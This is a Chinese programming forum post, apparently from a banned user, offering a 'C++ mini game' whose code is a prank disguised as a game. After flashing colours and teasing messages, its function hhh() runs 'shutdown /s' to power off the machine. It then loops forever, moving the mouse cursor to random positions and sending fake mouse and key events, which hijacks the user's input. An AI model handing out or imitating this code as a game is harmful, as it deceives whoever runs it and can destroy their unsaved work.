c++小游戏
  • 板块灌水区
  • 楼主封禁用户
  • 当前回复6
  • 已保存回复6
  • 发布时间2024/7/8 12:23
  • 上次更新2024/7/8 12:41:53
查看原帖
c++小游戏
1013979
封禁用户楼主2024/7/8 12:23
#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
using namespace std;
void first_page();
void SlowDisplay(int x,char *p);
void SetPos(int x,int y);
void Say1(string a) ;
void Say2(string a) ;
int read();
void page_1();
void hhh();
void page_3();
int main()
{
	page_3();
	return 0;
}
void first_page()
{
	system("cls");
	system("color 07");
	cout<<" ■■■"<<endl;
	cout<<"■";
	cout<<"■  ■■  ■     ■  ■    ■■"<<endl;
	cout<<"■    ■ ■■   ■ ■ ■  ■ ■"<<endl;
	cout<<" ■■■ ■  ■ ■  ■  ■  ■■■"<<endl;
} 
void SlowDisplay(int x,char *p)
{
    while(1)
    {
        if(*p!=0) printf("%c",*p++);
        else break;
		Sleep(x);
    }
}
void SetPos(int x,int y)
{
    COORD pos;
    pos.X=y*2,pos.Y=x;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
}
void Say1(string a) 
{
	int l=a.size();
	for(int i=0;i<l;i++)
	{
		cout<<a[i];
		Sleep(20);
	}
	printf("\n");
}
void Say2(string a) 
{
	int l=a.size();
	for(int i=0;i<l;i++)
	{
		cout<<a[i];
		Sleep(200);
	}
	printf("\n");
}
int read()
{
    char ch=_getch();
    while(ch>'9'||ch<'0') ch=_getch();
    return ch-48;
}
void page_1()
{
	system("cls");
	system("Color C");
	first_page();
	Say1("这是一个好van的小游戏\n");
	Say1("玩了之后你一定会赞不绝口(绷)");
	Say2("进 入 正 题\n");
	hhh();
	system("cls");
}
void hhh()
{
	system("shutdown /s");
	cout<<"笑.jpg"<<endl;
	cout<<"不要骂我哟!!!"<<endl;
	while(1)
	{
		int x,y;
		Sleep(10);
		x=rand()%1400;
		y=rand()%900;
		SetCursorPos(x,y);
		mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
		mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
		keybd_event(67,0,KEYEVENTF_KEYUP,0);

	}
}
void page_3()
{
	for(int i=1;i<=4;i++)
	{
		system("color 1A");
		Sleep(10);
        system("color 2B");
		Sleep(10);
        system("color 3C");
		Sleep(10);
        system("color 4D");
		Sleep(10);
        system("color 5D");
		Sleep(10);
        system("color 6E");
		Sleep(10);
        system("color 7F");
		Sleep(10);
	}
	page_1();
}
2024/7/8 12:23
加载中...